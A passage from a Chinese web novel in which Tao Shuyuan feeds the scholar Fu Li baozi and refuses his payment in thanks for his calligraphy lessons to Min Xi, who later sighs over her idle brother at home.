陶淑苑笑着：“没事，孩子能吃是福。而且你身子板看着也不壮，多吃点补补身子。” 而且符黎虽然吃的速度很快，但吃相干净，一点不邋遢。每一口食物都好好咀嚼后再咽下，嘴角和桌子上都无半点污物，让人看着就心生好感。 见他如此喜欢，陶淑苑笑着对闵晞说：“看来这包子日后应该也卖得不错。” 闵晞点点头：“我也这么觉得。” 符黎听了更是急匆匆：“如果以后开始卖了，我一定是回头客。” 闵晞见他那样，忍不住笑出了声。 本以为文人学者都是很正经的，哪知道符黎表面上看着倒是儒雅稳重，仪态端正，没想见了美食却变了个样，看食物的眼神比看书本还要亮。 这要是以现代的眼光来看就是个不折不扣的大吃货啊。 符黎吃完后本想给陶淑苑钱，却被一把回绝了。 “听闻你还在教导晞儿习字，那这钱我可是万万不能收的。”陶淑苑一本正经道：“只是一顿饭而已，花不了几个钱。不如说先生的教导更是贵重呢。” “真要较真的话，反倒是我们要给束脩呢。” 见陶淑苑都这么说了，符黎也不好再给钱了，只道：“那便应了陶婶的话，以后在下一定会更用心教导闵姑娘习字的。” 等等，闵晞一听这话琢磨着有些不对劲。她练字只是想把字写好看一点就行了，怎么现在这架势大有让她勤加练习，不练出个名堂不罢休的意思？ 她们闲聊之际，闵晞把空了的碗收走洗净，还顺手给符黎包了几个包子，让他带回去同双瑞一起吃。 “公子身边只有双瑞一人伺候，还是让他也吃些好的，别饿着了。” 符黎笑着接过：“那在下就替双瑞谢过了。” 等闵晞和陶淑苑带着剩下的包子回家时，他们吃的和符黎一样，只多不少，但这吃相可就难看了不少。 闵晞本来还想给他们炒两个菜，但闵达彬摆摆手说不用，这包子里有菜有肉，哪还需要开火再做饭？闵彦听了也赞同，两人一起蹲坐在院子里吃包子。 闵晞看着自家那不成器的哥哥，再想想那勤勉好学的符黎，心里是直叹气啊。 就他这样的，以后哪家姑娘愿意嫁给他？